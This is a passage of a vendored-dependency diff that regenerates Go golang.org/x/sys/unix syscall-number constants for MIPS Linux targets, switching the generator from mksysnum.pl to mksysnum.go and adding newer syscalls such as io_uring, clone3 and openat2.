-+ SYS_IO_PGETEVENTS = 4368
-+ SYS_SEMGET = 4393
-+ SYS_SEMCTL = 4394
-+ SYS_SHMGET = 4395
-+ SYS_SHMCTL = 4396
-+ SYS_SHMAT = 4397
-+ SYS_SHMDT = 4398
-+ SYS_MSGGET = 4399
-+ SYS_MSGSND = 4400
-+ SYS_MSGRCV = 4401
-+ SYS_MSGCTL = 4402
-+ SYS_CLOCK_GETTIME64 = 4403
-+ SYS_CLOCK_SETTIME64 = 4404
-+ SYS_CLOCK_ADJTIME64 = 4405
-+ SYS_CLOCK_GETRES_TIME64 = 4406
-+ SYS_CLOCK_NANOSLEEP_TIME64 = 4407
-+ SYS_TIMER_GETTIME64 = 4408
-+ SYS_TIMER_SETTIME64 = 4409
-+ SYS_TIMERFD_GETTIME64 = 4410
-+ SYS_TIMERFD_SETTIME64 = 4411
-+ SYS_UTIMENSAT_TIME64 = 4412
-+ SYS_PSELECT6_TIME64 = 4413
-+ SYS_PPOLL_TIME64 = 4414
-+ SYS_IO_PGETEVENTS_TIME64 = 4416
-+ SYS_RECVMMSG_TIME64 = 4417
-+ SYS_MQ_TIMEDSEND_TIME64 = 4418
-+ SYS_MQ_TIMEDRECEIVE_TIME64 = 4419
-+ SYS_SEMTIMEDOP_TIME64 = 4420
-+ SYS_RT_SIGTIMEDWAIT_TIME64 = 4421
-+ SYS_FUTEX_TIME64 = 4422
-+ SYS_SCHED_RR_GET_INTERVAL_TIME64 = 4423
-+ SYS_PIDFD_SEND_SIGNAL = 4424
-+ SYS_IO_URING_SETUP = 4425
-+ SYS_IO_URING_ENTER = 4426
-+ SYS_IO_URING_REGISTER = 4427
-+ SYS_OPEN_TREE = 4428
-+ SYS_MOVE_MOUNT = 4429
-+ SYS_FSOPEN = 4430
-+ SYS_FSCONFIG = 4431
-+ SYS_FSMOUNT = 4432
-+ SYS_FSPICK = 4433
-+ SYS_PIDFD_OPEN = 4434
-+ SYS_CLONE3 = 4435
-+ SYS_OPENAT2 = 4437
-+ SYS_PIDFD_GETFD = 4438
- )
-diff --git a/vendor/golang.org/x/sys/unix/zsysnum_linux_mips64.go b/vendor/golang.org/x/sys/unix/zsysnum_linux_mips64.go
-index 09db9596..4e525118 100644
---- a/vendor/golang.org/x/sys/unix/zsysnum_linux_mips64.go
-+++ b/vendor/golang.org/x/sys/unix/zsysnum_linux_mips64.go
-@@ -1,4 +1,4 @@
--// linux/mksysnum.pl -Wall -Werror -static -I/tmp/include /tmp/include/asm/unistd.h
-+// go run linux/mksysnum.go -Wall -Werror -static -I/tmp/include /tmp/include/asm/unistd.h
- // Code generated by the command above; see README.md. DO NOT EDIT.
-
- // +build mips64,linux
-@@ -331,4 +331,21 @@ const (
- SYS_PKEY_MPROTECT = 5323
- SYS_PKEY_ALLOC = 5324
- SYS_PKEY_FREE = 5325
-+ SYS_STATX = 5326
-+ SYS_RSEQ = 5327
-+ SYS_IO_PGETEVENTS = 5328
-+ SYS_PIDFD_SEND_SIGNAL = 5424
-+ SYS_IO_URING_SETUP = 5425
-+ SYS_IO_URING_ENTER = 5426
-+ SYS_IO_URING_REGISTER = 5427
-+ SYS_OPEN_TREE = 5428
-+ SYS_MOVE_MOUNT = 5429
-+ SYS_FSOPEN = 5430
-+ SYS_FSCONFIG = 5431
-+ SYS_FSMOUNT = 5432
-+ SYS_FSPICK = 5433
-+ SYS_PIDFD_OPEN = 5434
-+ SYS_CLONE3 = 5435
-+ SYS_OPENAT2 = 5437
-+ SYS_PIDFD_GETFD = 5438
- )
-diff --git a/vendor/golang.org/x/sys/unix/zsysnum_linux_mips64le.go b/vendor/golang.org/x/sys/unix/zsysnum_linux_mips64le.go
-index d1b872a0..4d9aa300 100644
---- a/vendor/golang.org/x/sys/unix/zsysnum_linux_mips64le.go
-+++ b/vendor/golang.org/x/sys/unix/zsysnum_linux_mips64le.go
-@@ -1,4 +1,4 @@
--// linux/mksysnum.pl -Wall -Werror -static -I/tmp/include /tmp/include/asm/unistd.h
-+// go run linux/mksysnum.go -Wall -Werror -static -I/tmp/include /tmp/include/asm/unistd.h
- // Code generated by the command above; see README.md. DO NOT EDIT.
-
- // +build mips64le,linux
-@@ -331,4 +331,21 @@ const (
- SYS_PKEY_MPROTECT = 5323
- SYS_PKEY_ALLOC = 5324
- SYS_PKEY_FREE = 5325
-+ SYS_STATX = 5326
-+ SYS_RSEQ = 5327
-+ SYS_IO_PGETEVENTS = 5328
-+ SYS_PIDFD_SEND_SIGNAL = 5424
-+ SYS_IO_URING_SETUP = 5425
-+ SYS_IO_URING_ENTER = 5426
-+ SYS_IO_URING_REGISTER = 5427
-+ SYS_OPEN_TREE = 5428
-+ SYS_MOVE_MOUNT = 5429
-+ SYS_FSOPEN = 5430
-+ SYS_FSCONFIG = 5431
-+ SYS_FSMOUNT = 5432
-+ SYS_FSPICK = 5433
-+ SYS_PIDFD_OPEN = 5434
-+ SYS_CLONE3 = 5435
-+ SYS_OPENAT2 = 5437
-+ SYS_PIDFD_GETFD = 5438
- )
-diff --git a/vendor/golang.org/x/sys/unix/zsysnum_linux_mipsle.go b/vendor/golang.org/x/sys/unix/zsysnum_linux_mipsle.go
-index 82ba20f2..64af0707 100644
---- a/vendor/golang.org/x/sys/unix/zsysnum_linux_mipsle.go
-+++ b/vendor/golang.org/x/sys/unix/zsysnum_linux_mipsle.go
-@@ -1,4 +1,4 @@
--// linux/mksysnum.pl -Wall -Werror -static -I/tmp/include /tmp/include/asm/unistd.h
-+// go run linux/mksysnum.go -Wall -Werror -static -I/tmp/include /tmp/include/asm/unistd.h
- // Code generated by the command above; see README.md. DO NOT EDIT.
-
- // +build mipsle,linux
-@@ -6,369 +6,416 @@
- package unix
-
- const (
-- SYS_SYSCALL = 4000
-- SYS_EXIT = 4001
-- SYS_FORK = 4002
-- SYS_READ = 4003
-- SYS_WRITE = 4004
-- SYS_OPEN = 4005
-- SYS_CLOSE = 4006
-- SYS_WAITPID = 4007
-- SYS_CREAT = 4008
-- SYS_LINK = 4009
-- SYS_UNLINK = 4010
-- SYS_EXECVE = 4011
-- SYS_CHDIR = 4012
-- SYS_TIME = 4013
-- SYS_MKNOD = 4014
-- SYS_CHMOD = 4015
-- SYS_LCHOWN = 4016
-- SYS_BREAK = 4017
-- SYS_UNUSED18 = 4018
-- SYS_LSEEK = 4019
-- SYS_GETPID = 4020
-- SYS_MOUNT = 4021
-- SYS_UMOUNT = 4022
-- SYS_SETUID = 4023
-- SYS_GETUID = 4024
-- SYS_STIME = 4025
-- SYS_PTRACE = 4026
-- SYS_ALARM = 4027
-- SYS_UNUSED28 = 4028
-- SYS_PAUSE = 4029
-- SYS_UTIME = 4030
-- SYS_STTY = 4031
-- SYS_GTTY = 4032
-- SYS_ACCESS = 4033
-- SYS_NICE = 4034
-- SYS_FTIME = 4035
-- SYS_SYNC = 4036
-- SYS_KILL = 4037
-- SYS_RENAME = 4038
-- SYS_MKDIR = 4039
-- SYS_RMDIR = 4040
-- SYS_DUP = 4041
-- SYS_PIPE = 4042
-- SYS_TIMES = 4043
-- SYS_PROF = 4044
-- SYS_BRK = 4045
-- SYS_SETGID = 4046
-- SYS_GETGID = 4047
-- SYS_SIGNAL = 4048
-- SYS_GETEUID = 4049
-- SYS_GETEGID = 4050
-- SYS_ACCT = 4051
-- SYS_UMOUNT2 = 4052
-- SYS_LOCK = 4053
-- SYS_IOCTL = 4054
-- SYS_FCNTL = 4055
-- SYS_MPX = 4056
-- SYS_SETPGID = 4057
-- SYS_ULIMIT = 4058
-- SYS_UNUSED59 = 4059
-- SYS_UMASK = 4060
-- SYS_CHROOT = 4061
-- SYS_USTAT = 4062
-- SYS_DUP2 = 4063
-- SYS_GETPPID = 4064
-- SYS_GETPGRP = 4065
-- SYS_SETSID = 4066
-- SYS_SIGACTION = 4067
-- SYS_SGETMASK = 4068
-- SYS_SSETMASK = 4069
-- SYS_SETREUID = 4070
-- SYS_SETREGID = 4071
-- SYS_SIGSUSPEND = 4072
-- SYS_SIGPENDING = 4073
-- SYS_SETHOSTNAME = 4074
-- SYS_SETRLIMIT = 4075
-- SYS_GETRLIMIT = 4076
-- SYS_GETRUSAGE = 4077
-- SYS_GETTIMEOFDAY = 4078
-- SYS_SETTIMEOFDAY = 4079
-- SYS_GETGROUPS = 4080
-- SYS_SETGROUPS = 4081
-- SYS_RESERVED82 = 4082
-- SYS_SYMLINK = 4083
-- SYS_UNUSED84 = 4084
-- SYS_READLINK = 4085
-- SYS_USELIB = 4086
-- SYS_SWAPON = 4087
-- SYS_REBOOT = 4088
-- SYS_READDIR = 4089
-- SYS_MMAP = 4090
-- SYS_MUNMAP = 4091
-- SYS_TRUNCATE = 4092
-- SYS_FTRUNCATE = 4093
-- SYS_FCHMOD = 4094
-- SYS_FCHOWN = 4095
-- SYS_GETPRIORITY = 4096
-- SYS_SETPRIORITY = 4097
-- SYS_PROFIL = 4098
-- SYS_STATFS = 4099
-- SYS_FSTATFS = 4100
-- SYS_IOPERM = 4101
-- SYS_SOCKETCALL = 4102
-- SYS_SYSLOG = 4103
-- SYS_SETITIMER = 4104
-- SYS_GETITIMER = 4105
-- SYS_STAT = 4106
-- SYS_LSTAT = 4107
-- SYS_FSTAT = 4108
-- SYS_UNUSED109 = 4109
-- SYS_IOPL = 4110
-- SYS_VHANGUP = 4111
-- SYS_IDLE = 4112
-- SYS_VM86 = 4113
-- SYS_WAIT4 = 4114
-- SYS_SWAPOFF = 4115
-- SYS_SYSINFO = 4116
-- SYS_IPC = 4117
-- SYS_FSYNC = 4118
-- SYS_SIGRETURN = 4119
-- SYS_CLONE = 4120
-- SYS_SETDOMAINNAME = 4121
-- SYS_UNAME = 4122
-- SYS_MODIFY_LDT = 4123
-- SYS_ADJTIMEX = 4124
-- SYS_MPROTECT = 4125
-- SYS_SIGPROCMASK = 4126
-- SYS_CREATE_MODULE = 4127
-- SYS_INIT_MODULE = 4128
-- SYS_DELETE_MODULE = 4129
-- SYS_GET_KERNEL_SYMS = 4130
-- SYS_QUOTACTL = 4131
-- SYS_GETPGID = 4132
-- SYS_FCHDIR = 4133
-- SYS_BDFLUSH = 4134
-- SYS_SYSFS = 4135
-- SYS_PERSONALITY = 4136
-- SYS_AFS_SYSCALL = 4137
-- SYS_SETFSUID = 4138
-- SYS_SETFSGID = 4139
-- SYS__LLSEEK = 4140
-- SYS_GETDENTS = 4141
-- SYS__NEWSELECT = 4142
-- SYS_FLOCK = 4143
-- SYS_MSYNC = 4144
-- SYS_READV = 4145
-- SYS_WRITEV = 4146
-- SYS_CACHEFLUSH = 4147
-- SYS_CACHECTL = 4148
-- SYS_SYSMIPS = 4149
-- SYS_UNUSED150 = 4150
-- SYS_GETSID = 4151
-- SYS_FDATASYNC = 4152
-- SYS__SYSCTL = 4153
-- SYS_MLOCK = 4154
-- SYS_MUNLOCK = 4155
-- SYS_MLOCKALL = 4156
-- SYS_MUNLOCKALL = 4157
-- SYS_SCHED_SETPARAM = 4158
-- SYS_SCHED_GETPARAM = 4159
-- SYS_SCHED_SETSCHEDULER = 4160
-- SYS_SCHED_GETSCHEDULER = 4161
-- SYS_SCHED_YIELD = 4162
-- SYS_SCHED_GET_PRIORITY_MAX = 4163
-- SYS_SCHED_GET_PRIORITY_MIN = 4164
-- SYS_SCHED_RR_GET_INTERVAL = 4165
-- SYS_NANOSLEEP = 4166
-- SYS_MREMAP = 4167
-- SYS_ACCEPT = 4168
-- SYS_BIND = 4169
-- SYS_CONNECT = 4170
-- SYS_GETPEERNAME = 4171
-- SYS_GETSOCKNAME = 4172
-- SYS_GETSOCKOPT = 4173
-- SYS_LISTEN = 4174
-- SYS_RECV = 4175
-- SYS_RECVFROM = 4176
-- SYS_RECVMSG = 4177
-- SYS_SEND = 4178
-- SYS_SENDMSG = 4179
-- SYS_SENDTO = 4180
-- SYS_SETSOCKOPT = 4181
-- SYS_SHUTDOWN = 4182
-- SYS_SOCKET = 4183
-- SYS_SOCKETPAIR = 4184
-- SYS_SETRESUID = 4185
-- SYS_GETRESUID = 4186
-- SYS_QUERY_MODULE = 4187
-- SYS_POLL = 4188
-- SYS_NFSSERVCTL = 4189
-- SYS_SETRESGID = 4190
-- SYS_GETRESGID = 4191
-- SYS_PRCTL = 4192
-- SYS_RT_SIGRETURN = 4193
-- SYS_RT_SIGACTION = 4194
-- SYS_RT_SIGPROCMASK = 4195
-- SYS_RT_SIGPENDING = 4196
-- SYS_RT_SIGTIMEDWAIT = 4197
-- SYS_RT_SIGQUEUEINFO = 4198
-- SYS_RT_SIGSUSPEND = 4199
-- SYS_PREAD64 = 4200
-- SYS_PWRITE64 = 4201
-- SYS_CHOWN = 4202
-- SYS_GETCWD = 4203
-- SYS_CAPGET = 4204
-- SYS_CAPSET = 4205
-- SYS_SIGALTSTACK = 4206
-- SYS_SENDFILE = 4207
-- SYS_GETPMSG = 4208
-- SYS_PUTPMSG = 4209
-- SYS_MMAP2 = 4210
-- SYS_TRUNCATE64 = 4211
-- SYS_FTRUNCATE64 = 4212
-- SYS_STAT64 = 4213
-- SYS_LSTAT64 = 4214
-- SYS_FSTAT64 = 4215
-- SYS_PIVOT_ROOT = 4216
-- SYS_MINCORE = 4217
-- SYS_MADVISE = 4218
-- SYS_GETDENTS64 = 4219
-- SYS_FCNTL64 = 4220
-- SYS_RESERVED221 = 4221
-- SYS_GETTID = 4222
-- SYS_READAHEAD = 4223
-- SYS_SETXATTR = 4224
-- SYS_LSETXATTR = 4225
-- SYS_FSETXATTR = 4226
-- SYS_GETXATTR = 4227
-- SYS_LGETXATTR = 4228
-- SYS_FGETXATTR = 4229
-- SYS_LISTXATTR = 4230
-- SYS_LLISTXATTR = 4231
-- SYS_FLISTXATTR = 4232
-- SYS_REMOVEXATTR = 4233
-- SYS_LREMOVEXATTR = 4234
-- SYS_FREMOVEXATTR = 4235
-- SYS_TKILL = 4236
-- SYS_SENDFILE64 = 4237
-- SYS_FUTEX = 4238
-- SYS_SCHED_SETAFFINITY = 4239
-- SYS_SCHED_GETAFFINITY = 4240
-- SYS_IO_SETUP = 4241
-- SYS_IO_DESTROY = 4242
-- SYS_IO_GETEVENTS = 4243
-- SYS_IO_SUBMIT = 4244
-- SYS_IO_CANCEL = 4245
-- SYS_EXIT_GROUP = 4246
-- SYS_LOOKUP_DCOOKIE = 4247
-- SYS_EPOLL_CREATE = 4248
-- SYS_EPOLL_CTL = 4249
-- SYS_EPOLL_WAIT = 4250
-- SYS_REMAP_FILE_PAGES = 4251
-- SYS_SET_TID_ADDRESS = 4252
-- SYS_RESTART_SYSCALL = 4253
-- SYS_FADVISE64 = 4254
-- SYS_STATFS64 = 4255
-- SYS_FSTATFS64 = 4256
-- SYS_TIMER_CREATE = 4257
-- SYS_TIMER_SETTIME = 4258
-- SYS_TIMER_GETTIME = 4259
-- SYS_TIMER_GETOVERRUN = 4260
-- SYS_TIMER_DELETE = 4261
-- SYS_CLOCK_SETTIME = 4262
-- SYS_CLOCK_GETTIME = 4263
-- SYS_CLOCK_GETRES = 4264
-- SYS_CLOCK_NANOSLEEP = 4265
-- SYS_TGKILL = 4266
-- SYS_UTIMES = 4267
-- SYS_MBIND = 4268
-- SYS_GET_MEMPOLICY = 4269
-- SYS_SET_MEMPOLICY = 4270
-- SYS_MQ_OPEN = 4271
-- SYS_MQ_UNLINK = 4272
-- SYS_MQ_TIMEDSEND = 4273
-- SYS_MQ_TIMEDRECEIVE = 4274
-- SYS_MQ_NOTIFY = 4275
-- SYS_MQ_GETSETATTR = 4276
-- SYS_VSERVER = 4277
-- SYS_WAITID = 4278
-- SYS_ADD_KEY = 4280
-- SYS_REQUEST_KEY = 4281
-- SYS_KEYCTL = 4282
-- SYS_SET_THREAD_AREA = 4283
-- SYS_INOTIFY_INIT = 4284
-- SYS_INOTIFY_ADD_WATCH = 4285
-- SYS_INOTIFY_RM_WATCH = 4286
-- SYS_MIGRATE_PAGES = 4287
-- SYS_OPENAT = 4288
-- SYS_MKDIRAT = 4289
-- SYS_MKNODAT = 4290
-- SYS_FCHOWNAT = 4291
-- SYS_FUTIMESAT = 4292
-- SYS_FSTATAT64 = 4293
-- SYS_UNLINKAT = 4294
-- SYS_RENAMEAT = 4295
-- SYS_LINKAT = 4296
-- SYS_SYMLINKAT = 4297
-- SYS_READLINKAT = 4298
-- SYS_FCHMODAT = 4299
-- SYS_FACCESSAT = 4300
-- SYS_PSELECT6 = 4301
-- SYS_PPOLL = 4302
-- SYS_UNSHARE = 4303
-- SYS_SPLICE = 4304
-- SYS_SYNC_FILE_RANGE = 4305
-- SYS_TEE = 4306
-- SYS_VMSPLICE = 4307
-- SYS_MOVE_PAGES = 4308
-- SYS_SET_ROBUST_LIST = 4309
-- SYS_GET_ROBUST_LIST = 4310
-- SYS_KEXEC_LOAD = 4311
-- SYS_GETCPU = 4312
-- SYS_EPOLL_PWAIT = 4313
-- SYS_IOPRIO_SET = 4314
-- SYS_IOPRIO_GET = 4315
-- SYS_UTIMENSAT = 4316
-- SYS_SIGNALFD = 4317
-- SYS_TIMERFD = 4318
-- SYS_EVENTFD = 4319
-- SYS_FALLOCATE = 4320
-- SYS_TIMERFD_CREATE = 4321
-- SYS_TIMERFD_GETTIME = 4322
-- SYS_TIMERFD_SETTIME = 4323
-- SYS_SIGNALFD4 = 4324
-- SYS_EVENTFD2 = 4325
-- SYS_EPOLL_CREATE1 = 4326
-- SYS_DUP3 = 4327
-- SYS_PIPE2 = 4328
-- SYS_INOTIFY_INIT1 = 4329
-- SYS_PREADV = 4330
-- SYS_PWRITEV = 4331
-- SYS_RT_TGSIGQUEUEINFO = 4332
-- SYS_PERF_EVENT_OPEN = 4333
-- SYS_ACCEPT4 = 4334
-- SYS_RECVMMSG = 4335
-- SYS_FANOTIFY_INIT = 4336
-- SYS_FANOTIFY_MARK = 4337
-- SYS_PRLIMIT64 = 4338
-- SYS_NAME_TO_HANDLE_AT = 4339
-- SYS_OPEN_BY_HANDLE_AT = 4340
-- SYS_CLOCK_ADJTIME = 4341
-- SYS_SYNCFS = 4342
-- SYS_SENDMMSG = 4343
-- SYS_SETNS = 4344
-- SYS_PROCESS_VM_READV = 4345
-- SYS_PROCESS_VM_WRITEV = 4346
-- SYS_KCMP = 4347
-- SYS_FINIT_MODULE = 4348
-- SYS_SCHED_SETATTR = 4349
-- SYS_SCHED_GETATTR = 4350
-- SYS_RENAMEAT2 = 4351
-- SYS_SECCOMP = 4352
-- SYS_GETRANDOM = 4353
-- SYS_MEMFD_CREATE = 4354
-- SYS_BPF = 4355
-- SYS_EXECVEAT = 4356
-- SYS_USERFAULTFD = 4357
-- SYS_MEMBARRIER = 4358
-- SYS_MLOCK2 = 4359
-- SYS_COPY_FILE_RANGE = 4360
-- SYS_PREADV2 = 4361
-- SYS_PWRITEV2 = 4362
-- SYS_PKEY_MPROTECT = 4363
-- SYS_PKEY_ALLOC = 4364
-- SYS_PKEY_FREE = 4365
-+ SYS_SYSCALL = 4000
-+ SYS_EXIT = 4001
-+ SYS_FORK = 4002
-+ SYS_READ = 4003
-+ SYS_WRITE = 4004
-+ SYS_OPEN = 4005
-+ SYS_CLOSE = 4006
-+ SYS_WAITPID = 4007
-+ SYS_CREAT = 4008
-+ SYS_LINK = 4009
-+ SYS_UNLINK = 4010
-+ SYS_EXECVE = 4011
-+ SYS_CHDIR = 4012
-+ SYS_TIME = 4013
-+ SYS_MKNOD = 4014
-+ SYS_CHMOD = 4015
-+ SYS_LCHOWN = 4016
-+ SYS_BREAK = 4017
-+ SYS_UNUSED18 = 4018
-+ SYS_LSEEK = 4019
-+ SYS_GETPID = 4020
-+ SYS_MOUNT = 4021
-+ SYS_UMOUNT = 4022
-+ SYS_SETUID = 4023
-+ SYS_GETUID = 4024
-+ SYS_STIME = 4025
-+ SYS_PTRACE = 4026
-+ SYS_ALARM = 4027
-+ SYS_UNUSED28 = 4028
-+ SYS_PAUSE = 4029
-+ SYS_UTIME = 4030
-+ SYS_STTY = 4031
-+ SYS_GTTY = 4032
-+ SYS_ACCESS = 4033
-+ SYS_NICE = 4034
-+ SYS_FTIME = 4035
-+ SYS_SYNC = 4036
-+ SYS_KILL = 4037
-+ SYS_RENAME = 4038
-+ SYS_MKDIR = 4039
-+ SYS_RMDIR = 4040
-+ SYS_DUP = 4041
-+ SYS_PIPE = 4042
-+ SYS_TIMES = 4043
-+ SYS_PROF = 4044
-+ SYS_BRK = 4045
-+ SYS_SETGID = 4046
-+ SYS_GETGID = 4047
-+ SYS_SIGNAL = 4048
-+ SYS_GETEUID = 4049
-+ SYS_GETEGID = 4050
-+ SYS_ACCT = 4051
-+ SYS_UMOUNT2 = 4052
-+ SYS_LOCK = 4053
-+ SYS_IOCTL = 4054
-+ SYS_FCNTL = 4055
-+ SYS_MPX = 4056
-+ SYS_SETPGID = 4057
-+ SYS_ULIMIT = 4058
-+ SYS_UNUSED59 = 4059
-+ SYS_UMASK = 4060
-+ SYS_CHROOT = 4061
-+ SYS_USTAT = 4062
-+ SYS_DUP2 = 4063
-+ SYS_GETPPID = 4064
-+ SYS_GETPGRP = 4065
-+ SYS_SETSID = 4066
-+ SYS_SIGACTION = 4067
-+ SYS_SGETMASK = 4068
-+ SYS_SSETMASK = 4069
-+ SYS_SETREUID = 4070
-+ SYS_SETREGID = 4071
-+ SYS_SIGSUSPEND = 4072
-+ SYS_SIGPENDING = 4073
-+ SYS_SETHOSTNAME = 4074
-+ SYS_SETRLIMIT = 4075
-+ SYS_GETRLIMIT = 4076
-+ SYS_GETRUSAGE = 4077
-+ SYS_GETTIMEOFDAY = 4078
-+ SYS_SETTIMEOFDAY = 4079
-+ SYS_GETGROUPS = 4080
-+ SYS_SETGROUPS = 4081
-+ SYS_RESERVED82 = 4082
-+ SYS_SYMLINK = 4083
-+ SYS_UNUSED84 = 4084
-+ SYS_READLINK = 4085
-+ SYS_USELIB = 4086
-+ SYS_SWAPON = 4087
-+ SYS_REBOOT = 4088
-+ SYS_READDIR = 4089
-+ SYS_MMAP = 4090
-+ SYS_MUNMAP = 4091
-+ SYS_TRUNCATE = 4092
-+ SYS_FTRUNCATE = 4093
-+ SYS_FCHMOD = 4094
-+ SYS_FCHOWN = 4095
-+ SYS_GETPRIORITY = 4096
-+ SYS_SETPRIORITY = 4097
-+ SYS_PROFIL = 4098
-+ SYS_STATFS = 4099
-+ SYS_FSTATFS = 4100
-+ SYS_IOPERM = 4101
-+ SYS_SOCKETCALL = 4102
-+ SYS_SYSLOG = 4103
-+ SYS_SETITIMER = 4104
-+ SYS_GETITIMER = 4105
-+ SYS_STAT = 4106
-+ SYS_LSTAT = 4107
-+ SYS_FSTAT = 4108
-+ SYS_UNUSED109 = 4109
-+ SYS_IOPL = 4110
-+ SYS_VHANGUP = 4111
-+ SYS_IDLE = 4112
-+ SYS_VM86 = 4113
-+ SYS_WAIT4 = 4114
-+ SYS_SWAPOFF = 4115
-+ SYS_SYSINFO = 4116
-+ SYS_IPC = 4117
-+ SYS_FSYNC = 4118
-+ SYS_SIGRETURN = 4119
-+ SYS_CLONE = 4120
-+ SYS_SETDOMAINNAME = 4121
-+ SYS_UNAME = 4122
-+ SYS_MODIFY_LDT = 4123
-+ SYS_ADJTIMEX = 4124
-+ SYS_MPROTECT = 4125
-+ SYS_SIGPROCMASK = 4126
-+ SYS_CREATE_MODULE = 4127
-+ SYS_INIT_MODULE = 4128
-+ SYS_DELETE_MODULE = 4129
-+ SYS_GET_KERNEL_SYMS = 4130
-+ SYS_QUOTACTL = 4131
-+ SYS_GETPGID = 4132
-+ SYS_FCHDIR = 4133
-+ SYS_BDFLUSH = 4134
-+ SYS_SYSFS = 4135
-+ SYS_PERSONALITY = 4136
-+ SYS_AFS_SYSCALL = 4137
-+ SYS_SETFSUID = 4138
-+ SYS_SETFSGID = 4139
-+ SYS__LLSEEK = 4140
-+ SYS_GETDENTS = 4141
-+ SYS__NEWSELECT = 4142
-+ SYS_FLOCK = 4143
-+ SYS_MSYNC = 4144
-+ SYS_READV = 4145
-+ SYS_WRITEV = 4146
-+ SYS_CACHEFLUSH = 4147
-+ SYS_CACHECTL = 4148
-+ SYS_SYSMIPS = 4149
-+ SYS_UNUSED150 = 4150
-+ SYS_GETSID = 4151
-+ SYS_FDATASYNC = 4152
-+ SYS__SYSCTL = 4153
-+ SYS_MLOCK = 4154
-+ SYS_MUNLOCK = 4155
-+ SYS_MLOCKALL = 4156
-+ SYS_MUNLOCKALL = 4157
-+ SYS_SCHED_SETPARAM = 4158
-+ SYS_SCHED_GETPARAM = 4159
-+ SYS_SCHED_SETSCHEDULER = 4160
-+ SYS_SCHED_GETSCHEDULER = 4161
-+ SYS_SCHED_YIELD = 4162
-+ SYS_SCHED_GET_PRIORITY_MAX = 4163
-+ SYS_SCHED_GET_PRIORITY_MIN = 4164
-+ SYS_SCHED_RR_GET_INTERVAL = 4165
-+ SYS_NANOSLEEP = 4166
-+ SYS_MREMAP = 4167
-+ SYS_ACCEPT = 4168
-+ SYS_BIND = 4169
-+ SYS_CONNECT = 4170
-+ SYS_GETPEERNAME = 4171
-+ SYS_GETSOCKNAME = 4172
-+ SYS_GETSOCKOPT = 4173
-+ SYS_LISTEN = 4174
-+ SYS_RECV = 4175
-+ SYS_RECVFROM = 4176
-+ SYS_RECVMSG = 4177
-+ SYS_SEND = 4178
-+ SYS_SENDMSG = 4179
-+ SYS_SENDTO = 4180
-+ SYS_SETSOCKOPT = 4181
-+ SYS_SHUTDOWN = 4182
-+ SYS_SOCKET = 4183
-+ SYS_SOCKETPAIR = 4184
-+ SYS_SETRESUID = 4185
-+ SYS_GETRESUID = 4186
-+ SYS_QUERY_MODULE = 4187
-+ SYS_POLL = 4188
-+ SYS_NFSSERVCTL = 4189
-+ SYS_SETRESGID = 4190
-+ SYS_GETRESGID = 4191
-+ SYS_PRCTL = 4192
-+ SYS_RT_SIGRETURN = 4193
-+ SYS_RT_SIGACTION = 4194
-+ SYS_RT_SIGPROCMASK = 4195
-+ SYS_RT_SIGPENDING = 4196
-+ SYS_RT_SIGTIMEDWAIT = 4197
-+ SYS_RT_SIGQUEUEINFO = 4198
-+ SYS_RT_SIGSUSPEND = 4199
-+ SYS_PREAD64 = 4200
-+ SYS_PWRITE64 = 4201
-+ SYS_CHOWN = 4202
-+ SYS_GETCWD = 4203
-+ SYS_CAPGET = 4204
-+ SYS_CAPSET = 4205
-+ SYS_SIGALTSTACK = 4206
-+ SYS_SENDFILE = 4207
-+ SYS_GETPMSG = 4208
-+ SYS_PUTPMSG = 4209
-+ SYS_MMAP2 = 4210
-+ SYS_TRUNCATE64 = 4211
-+ SYS_FTRUNCATE64 = 4212
-+ SYS_STAT64 = 4213
-+ SYS_LSTAT64 = 4214
-+ SYS_FSTAT64 = 4215
-+ SYS_PIVOT_ROOT = 4216
-+ SYS_MINCORE = 4217
-+ SYS_MADVISE = 4218
-+ SYS_GETDENTS64 = 4219
-+ SYS_FCNTL64 = 4220
-+ SYS_RESERVED221 = 4221
-+ SYS_GETTID = 4222
-+ SYS_READAHEAD = 4223
-+ SYS_SETXATTR = 4224
-+ SYS_LSETXATTR = 4225
-+ SYS_FSETXATTR = 4226
-+ SYS_GETXATTR = 4227
-+ SYS_LGETXATTR = 4228
-+ SYS_FGETXATTR = 4229
-+ SYS_LISTXATTR = 4230
-+ SYS_LLISTXATTR = 4231
-+ SYS_FLISTXATTR = 4232
-+ SYS_REMOVEXATTR = 4233
-+ SYS_LREMOVEXATTR = 4234
-+ SYS_FREMOVEXATTR = 4235
-+ SYS_TKILL = 4236
-+ SYS_SENDFILE64 = 4237
-+ SYS_FUTEX = 4238
-+ SYS_SCHED_SETAFFINITY = 4239
-+ SYS_SCHED_GETAFFINITY = 4240
-+ SYS_IO_SETUP = 4241
-+ SYS_IO_DESTROY = 4242
-+ SYS_IO_GETEVENTS = 4243
-+ SYS_IO_SUBMIT = 4244
-+ SYS_IO_CANCEL = 4245
-+ SYS_EXIT_GROUP = 4246
-+ SYS_LOOKUP_DCOOKIE = 4247
-+ SYS_EPOLL_CREATE = 4248
-+ SYS_EPOLL_CTL = 4249
-+ SYS_EPOLL_WAIT = 4250
-+ SYS_REMAP_FILE_PAGES = 4251
-+ SYS_SET_TID_ADDRESS = 4252
-+ SYS_RESTART_SYSCALL = 4253
-+ SYS_FADVISE64 = 4254
-+ SYS_STATFS64 = 4255
-+ SYS_FSTATFS64 = 4256
-+ SYS_TIMER_CREATE = 4257
-+ SYS_TIMER_SETTIME = 4258
-+ SYS_TIMER_GETTIME = 4259
-+ SYS_TIMER_GETOVERRUN = 4260
-+ SYS_TIMER_DELETE = 4261
-+ SYS_CLOCK_SETTIME = 4262
-+ SYS_CLOCK_GETTIME = 4263
-+ SYS_CLOCK_GETRES = 4264
-+ SYS_CLOCK_NANOSLEEP = 4265
-+ SYS_TGKILL = 4266
-+ SYS_UTIMES = 4267
-+ SYS_MBIND = 4268
-+ SYS_GET_MEMPOLICY = 4269
-+ SYS_SET_MEMPOLICY = 4270
-+ SYS_MQ_OPEN = 4271
-+ SYS_MQ_UNLINK = 4272
-+ SYS_MQ_TIMEDSEND = 4273
-+ SYS_MQ_TIMEDRECEIVE = 4274
-+ SYS_MQ_NOTIFY = 4275
-+ SYS_MQ_GETSETATTR = 4276
-+ SYS_VSERVER = 4277
-+ SYS_WAITID = 4278
-+ SYS_ADD_KEY = 4280
-+ SYS_REQUEST_KEY = 4281
-+ SYS_KEYCTL = 4282
-+ SYS_SET_THREAD_AREA = 4283
-+ SYS_INOTIFY_INIT = 4284
-+ SYS_INOTIFY_ADD_WATCH = 4285
-+ SYS_INOTIFY_RM_WATCH = 4286
-+ SYS_MIGRATE_PAGES = 4287
-+ SYS_OPENAT = 4288
-+ SYS_MKDIRAT = 4289
